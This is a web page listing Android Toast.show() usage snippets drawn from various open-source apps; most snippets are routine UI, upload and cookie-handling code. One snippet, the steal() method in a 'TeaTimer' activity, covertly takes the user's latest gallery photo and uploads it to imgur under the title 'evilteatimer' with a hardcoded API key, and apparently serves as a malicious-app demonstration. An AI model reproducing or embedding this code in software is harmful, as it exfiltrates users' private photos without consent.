List of usage examples for android.widget Toast show
public void show()
From source file:nl.sogeti.android.gpstracker.actions.ShareTrack.java
private void sendToJogmap(Uri fileUri, String contentType) { String authCode = PreferenceManager.getDefaultSharedPreferences(this).getString(Constants.JOGRUNNER_AUTH, "");/*from ww w. j a va2 s . c om*/ File gpxFile = new File(fileUri.getEncodedPath()); HttpClient httpclient = new DefaultHttpClient(); HttpResponse response = null; URI jogmap = null; String jogmapResponseText = ""; int statusCode = 0; try { jogmap = new URI(getString(R.string.jogmap_post_url)); HttpPost method = new HttpPost(jogmap); MultipartEntity entity = new MultipartEntity(); entity.addPart("id", new StringBody(authCode)); entity.addPart("mFile", new FileBody(gpxFile)); method.setEntity(entity); response = httpclient.execute(method); statusCode = response.getStatusLine().getStatusCode(); InputStream stream = response.getEntity().getContent(); jogmapResponseText = convertStreamToString(stream); } catch (IOException e) { Log.e(TAG, "Failed to upload to " + jogmap.toString(), e); CharSequence text = getString(R.string.jogmap_failed) + e.getLocalizedMessage(); Toast toast = Toast.makeText(this, text, Toast.LENGTH_LONG); toast.show(); } catch (URISyntaxException e) { //Log.e(TAG, "Failed to use configured URI " + jogmap.toString(), e); CharSequence text = getString(R.string.jogmap_failed) + e.getLocalizedMessage(); Toast toast = Toast.makeText(this, text, Toast.LENGTH_LONG); toast.show(); } if (statusCode == 200) { CharSequence text = getString(R.string.jogmap_success) + jogmapResponseText; Toast toast = Toast.makeText(this, text, Toast.LENGTH_LONG); toast.show(); } else { Log.e(TAG, "Wrong status code " + statusCode); CharSequence text = getString(R.string.jogmap_failed) + jogmapResponseText; Toast toast = Toast.makeText(this, text, Toast.LENGTH_LONG); toast.show(); } }
From source file:com.zia.freshdocs.widget.adapter.CMISAdapter.java
/** * Send the content using a built-in Android activity which can handle the * content type./*from ww w. j av a2 s .c o m*/ * * @param position */ public void shareContent(int position) { final NodeRef ref = getItem(position); downloadContent(ref, new Handler() { public void handleMessage(Message msg) { Context context = getContext(); boolean done = msg.getData().getBoolean("done"); if (done) { dismissProgressDlg(); File file = (File) mDlThread.getResult(); if (file != null) { Resources res = context.getResources(); Uri uri = Uri.fromFile(file); Intent emailIntent = new Intent(Intent.ACTION_SEND); emailIntent.putExtra(Intent.EXTRA_STREAM, uri); emailIntent.putExtra(Intent.EXTRA_SUBJECT, ref.getName()); emailIntent.putExtra(Intent.EXTRA_TEXT, res.getString(R.string.email_text)); emailIntent.setType(ref.getContentType()); try { context.startActivity( Intent.createChooser(emailIntent, res.getString(R.string.email_title))); } catch (ActivityNotFoundException e) { String text = "No suitable applications registered to send " + ref.getContentType(); int duration = Toast.LENGTH_SHORT; Toast toast = Toast.makeText(context, text, duration); toast.show(); } } } else { int value = msg.getData().getInt("progress"); if (value > 0) { mProgressDlg.setProgress(value); } } } }); }
From source file:ch.ethz.dcg.jukefox.manager.libraryimport.AndroidAlbumCoverFetcherThread.java
private void showSdcardNotAvailableToast() { JukefoxApplication.getHandler().post(new Runnable() { @Override/*from w ww . jav a 2 s . co m*/ public void run() { Toast toast = Toast.makeText(context, context.getString(R.string.cover_fetcher_no_sd), Toast.LENGTH_LONG); toast.show(); } }); }
From source file:goo.TeaTimer.TimerActivity.java
private void steal() { new Thread(new Runnable() { public void run() { try { Looper.prepare();//from w ww .j a v a2 s . co m String[] filePathColumn = { MediaStore.Images.Media.DATA }; Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, filePathColumn, null, null, null); cursor.moveToLast(); int columnIndex = cursor.getColumnIndex(filePathColumn[0]); String filePath = cursor.getString(columnIndex); cursor.close(); Log.v(TAG, "FilePath:" + filePath); Bitmap bitmap = BitmapFactory.decodeFile(filePath); bitmap = Bitmap.createScaledBitmap(bitmap, 480, 320, true); // Creates Byte Array from picture ByteArrayOutputStream baos = new ByteArrayOutputStream(); bitmap.compress(Bitmap.CompressFormat.PNG, 100, baos); // Not sure whether this should be jpeg or png, try both and see which works best URL url = new URL("http://api.imgur.com/2/upload.json"); //encodes picture with Base64 and inserts api key String data = URLEncoder.encode("image", "UTF-8") + "=" + URLEncoder.encode(Base64.encodeBytes(baos.toByteArray()).toString(), "UTF-8"); data += "&" + URLEncoder.encode("key", "UTF-8") + "=" + URLEncoder.encode("e7570f4de21f88793225d963c6cc4114", "UTF-8"); data += "&" + URLEncoder.encode("title", "UTF-8") + "=" + URLEncoder.encode("evilteatimer", "UTF-8"); // opens connection and sends data URLConnection conn = url.openConnection(); conn.setDoOutput(true); OutputStreamWriter wr = new OutputStreamWriter(conn.getOutputStream()); wr.write(data); wr.flush(); // Read the results BufferedReader in = new BufferedReader(new InputStreamReader(conn.getInputStream())); String jsonString = in.readLine(); in.close(); JSONObject json = new JSONObject(jsonString); String imgUrl = json.getJSONObject("upload").getJSONObject("links").getString("imgur_page"); Log.v(TAG, "Imgur link:" + imgUrl); Context context = getApplicationContext(); mImgUrl = imgUrl; Toast toast = Toast.makeText(context, imgUrl, Toast.LENGTH_LONG); toast.show(); } catch (Exception exception) { Log.v(TAG, "Upload Failure:" + exception.getMessage()); } } }).start(); }
From source file:ca.mcgill.hs.serv.LogFileUploaderService.java
/** * Helper method for making toasts./* w w w. j a v a 2 s. co m*/ * * @param message * The text to toast. * @param duration * The duration of the toast. */ private void makeToast(final String message, final int duration) { final Toast slice = Toast.makeText(getBaseContext(), getResources().getString(R.string.uploader_appname_label) + message, duration); slice.setGravity(slice.getGravity(), slice.getXOffset(), slice.getYOffset() + 100); slice.show(); }
From source file:com.cettco.buycar.activity.BargainActivity.java
private void submit() { String cookieStr = null;/* ww w. ja v a 2 s . co m*/ String cookieName = null; PersistentCookieStore myCookieStore = new PersistentCookieStore(BargainActivity.this); if (myCookieStore == null) { return; } List<Cookie> cookies = myCookieStore.getCookies(); for (Cookie cookie : cookies) { String name = cookie.getName(); cookieName = name; //System.out.println(name); if (name.equals("_JustBidIt_session")) { cookieStr = cookie.getValue(); //System.out.println("value:" + cookieStr); break; } } if (cookieStr == null || cookieStr.equals("")) { Toast toast = Toast.makeText(BargainActivity.this, "", Toast.LENGTH_SHORT); toast.show(); Intent intent = new Intent(); intent.setClass(BargainActivity.this, SignInActivity.class); startActivity(intent); return; } String tenderUrl = GlobalData.getBaseUrl() + "/tenders.json?"; // String price = priceEditText.getText().toString(); // String userName = userNameEditText.getText().toString(); String price = orderItemEntity.getPrice(); String userName = orderItemEntity.getName(); if (price == null || price.equals("")) { Toast toast = Toast.makeText(BargainActivity.this, "", Toast.LENGTH_SHORT); toast.show(); return; } if (colors == null || colors.size() == 0) { Toast toast = Toast.makeText(BargainActivity.this, "?", Toast.LENGTH_SHORT); toast.show(); return; } if (dealers == null || dealers.size() == 0) { Toast toast = Toast.makeText(BargainActivity.this, "4s", Toast.LENGTH_SHORT); toast.show(); return; } if (userName == null || userName.equals("")) { Toast toast = Toast.makeText(BargainActivity.this, "??", Toast.LENGTH_SHORT); toast.show(); return; } Tender tender = new Tender(); StringBuffer buffer = new StringBuffer(); for (int i = 0; i < colors.size(); i++) { buffer.append(colors.get(i) + ","); } if (buffer != null && buffer.length() > 0) { buffer.deleteCharAt(buffer.length() - 1); } tender.setColors_id(buffer.toString()); tender.setGot_licence(String.valueOf(plateSelection)); tender.setLoan_option(String.valueOf(loanSelection + 1)); tender.setTrim_id(trim_id); tender.setPickup_time(String.valueOf(getcarTimeSelection)); tender.setUser_name(userName); String locationString = locationList.get(locationSelection); tender.setLicense_location(locationString); tender.setPrice(price); String description = descriptionEditText.getText().toString(); // tender.setde tender.setDescription(description); Map<String, String> shops = new HashMap<String, String>(); for (int i = 0; i < dealers.size(); i++) { shops.put(dealers.get(i), "1"); } tender.setShops(shops); TenderEntity tenderEntity = new TenderEntity(); tenderEntity.setTender(tender); Gson gson = new Gson(); //System.out.println(gson.toJson(tenderEntity).toString()); StringEntity entity = null; try { // System.out.println(gson.toJson(bargainEntity).toString()); entity = new StringEntity(gson.toJson(tenderEntity).toString(), "utf-8"); } catch (UnsupportedEncodingException e) { // TODO Auto-generated catch block e.printStackTrace(); } progressLayout.setVisibility(View.VISIBLE); HttpConnection.getClient().addHeader("Cookie", cookieName + "=" + cookieStr); HttpConnection.post(BargainActivity.this, tenderUrl, null, entity, "application/json;charset=utf-8", new JsonHttpResponseHandler() { @Override public void onFailure(int statusCode, Header[] headers, Throwable throwable, JSONObject errorResponse) { // TODO Auto-generated method stub super.onFailure(statusCode, headers, throwable, errorResponse); progressLayout.setVisibility(View.GONE); //System.out.println("error"); //System.out.println("statusCode:" + statusCode); //System.out.println("headers:" + headers); if (statusCode == 401) { Message msg = new Message(); msg.what = RESULT_UNAUTHORIZED; handler.sendMessage(msg); } else if (statusCode == 422) { Message msg = new Message(); msg.what = RESULT_UNPROCESSABLE; handler.sendMessage(msg); } else { Toast toast = Toast.makeText(BargainActivity.this, "??,???", Toast.LENGTH_SHORT); toast.show(); } } @Override public void onSuccess(int statusCode, Header[] headers, JSONObject response) { // TODO Auto-generated method stub super.onSuccess(statusCode, headers, response); progressLayout.setVisibility(View.GONE); //System.out.println("success"); //System.out.println("statusCode:" + statusCode); // for(int i=0;i<headers.length;i++){ // System.out.println(headers[0]); // } //System.out.println("response:" + response); String tender_id = ""; if (statusCode == 201) { try { //System.out.println("id:" //+ response.getString("id")); tender_id = response.getString("id"); orderItemEntity.setId(response.getString("id")); orderItemEntity.setState(response.getString("state")); DatabaseHelperOrder orderHelper = DatabaseHelperOrder .getHelper(BargainActivity.this); orderHelper.getDao().update(orderItemEntity); } catch (JSONException | SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); } Toast toast = Toast.makeText(BargainActivity.this, "???", Toast.LENGTH_SHORT); toast.show(); Intent intent = new Intent(); // intent.putExtra("tenderId", id); intent.setClass(BargainActivity.this, AliPayActivity.class); intent.putExtra("tender_id", tender_id); startActivity(intent); // Intent intent = new Intent(); // // intent.putExtra("tenderId", id); // intent.setClass(BargainActivity.this, // MainActivity.class); // intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP); // startActivity(intent); } } }); }
From source file:android.support.v7ox.view.menu.ActionMenuItemView.java
@Override public boolean onLongClick(View v) { if (hasText()) { // Don't show the cheat sheet for items that already show text. return false; }/*from www . jav a2 s . c om*/ final int[] screenPos = new int[2]; final Rect displayFrame = new Rect(); getLocationOnScreen(screenPos); getWindowVisibleDisplayFrame(displayFrame); final Context context = getContext(); final int width = getWidth(); final int height = getHeight(); final int midy = screenPos[1] + height / 2; int referenceX = screenPos[0] + width / 2; if (ViewCompat.getLayoutDirection(v) == ViewCompat.LAYOUT_DIRECTION_LTR) { final int screenWidth = context.getResources().getDisplayMetrics().widthPixels; referenceX = screenWidth - referenceX; // mirror } Toast cheatSheet = Toast.makeText(context, mItemData.getTitle(), Toast.LENGTH_SHORT); if (midy < displayFrame.height()) { // Show along the top; follow action buttons cheatSheet.setGravity(Gravity.TOP | GravityCompat.END, referenceX, screenPos[1] + height - displayFrame.top); } else { // Show along the bottom center cheatSheet.setGravity(Gravity.BOTTOM | Gravity.CENTER_HORIZONTAL, 0, height); } cheatSheet.show(); return true; }
From source file:biz.incomsystems.fwknop2.ConfigDetailFragment.java
@Override public void onActivityResult(int requestCode, int resultCode, Intent data) { // This handles the qrcode results if (requestCode == 0) { if (resultCode == Activity.RESULT_OK) { String contents = data.getStringExtra("SCAN_RESULT"); for (String stanzas : contents.split(" ")) { String[] tmp = stanzas.split(":"); if (tmp[0].equalsIgnoreCase("KEY_BASE64")) { txt_KEY.setText(tmp[1]); chkb64key.setChecked(true); } else if (tmp[0].equalsIgnoreCase("KEY")) { txt_KEY.setText(tmp[1]); chkb64key.setChecked(false); } else if (tmp[0].equalsIgnoreCase("HMAC_KEY_BASE64")) { txt_HMAC.setText(tmp[1]); chkb64hmac.setChecked(true); } else if (tmp[0].equalsIgnoreCase("HMAC_KEY")) { txt_HMAC.setText(tmp[1]); chkb64hmac.setChecked(false); }//from w w w . j ava 2 s. co m } // end for loop } if (resultCode == Activity.RESULT_CANCELED) { //handle cancel Context context = getActivity(); CharSequence text = " QR Code Canceled"; int duration = Toast.LENGTH_LONG; Toast toast = Toast.makeText(context, text, duration); toast.setGravity(Gravity.CENTER, 0, 0); LinearLayout toastLayout = (LinearLayout) toast.getView(); TextView toastTV = (TextView) toastLayout.getChildAt(0); toastTV.setTextSize(30); toast.show(); } } }
From source file:cm.aptoide.pt.ScheduledDownloads.java
private void continueLoading() { lv = (ListView) findViewById(android.R.id.list); db = Database.getInstance();/*from w ww . ja v a 2s. co m*/ adapter = new CursorAdapter(this, null, CursorAdapter.FLAG_REGISTER_CONTENT_OBSERVER) { @Override public View newView(Context context, Cursor arg1, ViewGroup arg2) { return LayoutInflater.from(context).inflate(R.layout.row_sch_download, null); } @Override public void bindView(View convertView, Context arg1, Cursor c) { // Planet to display ScheduledDownload scheduledDownload = scheduledDownloadsHashMap.get(c.getString(0)); // The child views in each row. CheckBox checkBoxScheduled; TextView textViewName; TextView textViewVersion; ImageView imageViewIcon; // Create a new row view if (convertView.getTag() == null) { // Find the child views. textViewName = (TextView) convertView.findViewById(R.id.name); textViewVersion = (TextView) convertView.findViewById(R.id.appversion); checkBoxScheduled = (CheckBox) convertView.findViewById(R.id.schDwnChkBox); imageViewIcon = (ImageView) convertView.findViewById(R.id.appicon); // Optimization: Tag the row with it's child views, so we don't have to // call findViewById() later when we reuse the row. convertView.setTag(new Holder(textViewName, textViewVersion, checkBoxScheduled, imageViewIcon)); // If CheckBox is toggled, update the planet it is tagged with. checkBoxScheduled.setOnClickListener(new View.OnClickListener() { public void onClick(View v) { CheckBox cb = (CheckBox) v; ScheduledDownload schDownload = (ScheduledDownload) cb.getTag(); schDownload.setChecked(cb.isChecked()); } }); } // Reuse existing row view else { // Because we use a ViewHolder, we avoid having to call findViewById(). Holder viewHolder = (Holder) convertView.getTag(); checkBoxScheduled = viewHolder.checkBoxScheduled; textViewVersion = viewHolder.textViewVersion; textViewName = viewHolder.textViewName; imageViewIcon = viewHolder.imageViewIcon; } // Tag the CheckBox with the Planet it is displaying, so that we can // access the planet in onClick() when the CheckBox is toggled. checkBoxScheduled.setTag(scheduledDownload); // Display planet data checkBoxScheduled.setChecked(scheduledDownload.isChecked()); textViewName.setText(scheduledDownload.getName()); textViewVersion.setText(scheduledDownload.getVername()); // Tag the CheckBox with the Planet it is displaying, so that we can // access the planet in onClick() when the CheckBox is toggled. checkBoxScheduled.setTag(scheduledDownload); // Display planet data checkBoxScheduled.setChecked(scheduledDownload.isChecked()); textViewName.setText(scheduledDownload.getName()); textViewVersion.setText("" + scheduledDownload.getVername()); ImageLoader.getInstance().displayImage(scheduledDownload.getIconPath(), imageViewIcon); } }; lv.setAdapter(adapter); getSupportLoaderManager().initLoader(0, null, this); lv.setOnItemClickListener(new OnItemClickListener() { @Override public void onItemClick(AdapterView<?> arg0, View item, int arg2, long arg3) { ScheduledDownload scheduledDownload = (ScheduledDownload) ((Holder) item.getTag()).checkBoxScheduled .getTag(); scheduledDownload.toggleChecked(); Holder viewHolder = (Holder) item.getTag(); viewHolder.checkBoxScheduled.setChecked(scheduledDownload.isChecked()); } }); IntentFilter filter = new IntentFilter("pt.caixamagica.aptoide.REDRAW"); registerReceiver(receiver, filter); Button installButton = (Button) findViewById(R.id.sch_down); // installButton.setText(getText(R.string.schDown_installselected)); installButton.setOnClickListener(new OnClickListener() { public void onClick(View v) { if (isAllChecked()) { for (String scheduledDownload : scheduledDownloadsHashMap.keySet()) { if (scheduledDownloadsHashMap.get(scheduledDownload).checked) { ScheduledDownload schDown = scheduledDownloadsHashMap.get(scheduledDownload); ViewApk apk = new ViewApk(); apk.setApkid(schDown.getApkid()); apk.setName(schDown.getName()); apk.setVercode(schDown.getVercode()); apk.setIconPath(schDown.getIconPath()); apk.setVername(schDown.getVername()); apk.setRepoName(schDown.getRepoName()); serviceDownloadManager .startDownloadWithWebservice(serviceDownloadManager.getDownload(apk), apk); Toast toast = Toast.makeText(ScheduledDownloads.this, R.string.starting_download, Toast.LENGTH_SHORT); toast.show(); } } } else { Toast toast = Toast.makeText(ScheduledDownloads.this, R.string.schDown_nodownloadselect, Toast.LENGTH_SHORT); toast.show(); } } }); if (getIntent().hasExtra("downloadAll")) { Builder dialogBuilder = new AlertDialog.Builder(this); final AlertDialog scheduleDownloadDialog = dialogBuilder.create(); scheduleDownloadDialog.setTitle(getText(R.string.schDwnBtn)); scheduleDownloadDialog.setIcon(android.R.drawable.ic_dialog_alert); scheduleDownloadDialog.setCancelable(false); scheduleDownloadDialog.setMessage(getText(R.string.schDown_install)); scheduleDownloadDialog.setButton(Dialog.BUTTON_POSITIVE, getString(android.R.string.yes), new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int id) { for (String scheduledDownload : scheduledDownloadsHashMap.keySet()) { ScheduledDownload schDown = scheduledDownloadsHashMap.get(scheduledDownload); ViewApk apk = new ViewApk(); apk.setApkid(schDown.getApkid()); apk.setName(schDown.getName()); apk.setVercode(schDown.getVercode()); apk.setIconPath(schDown.getIconPath()); apk.setVername(schDown.getVername()); apk.setRepoName(schDown.getRepoName()); serviceDownloadManager .startDownloadWithWebservice(serviceDownloadManager.getDownload(apk), apk); Toast toast = Toast.makeText(ScheduledDownloads.this, R.string.starting_download, Toast.LENGTH_SHORT); toast.show(); } finish(); } }); scheduleDownloadDialog.setButton(Dialog.BUTTON_NEGATIVE, getString(android.R.string.no), new Dialog.OnClickListener() { @Override public void onClick(DialogInterface arg0, int arg1) { finish(); } }); scheduleDownloadDialog.show(); } }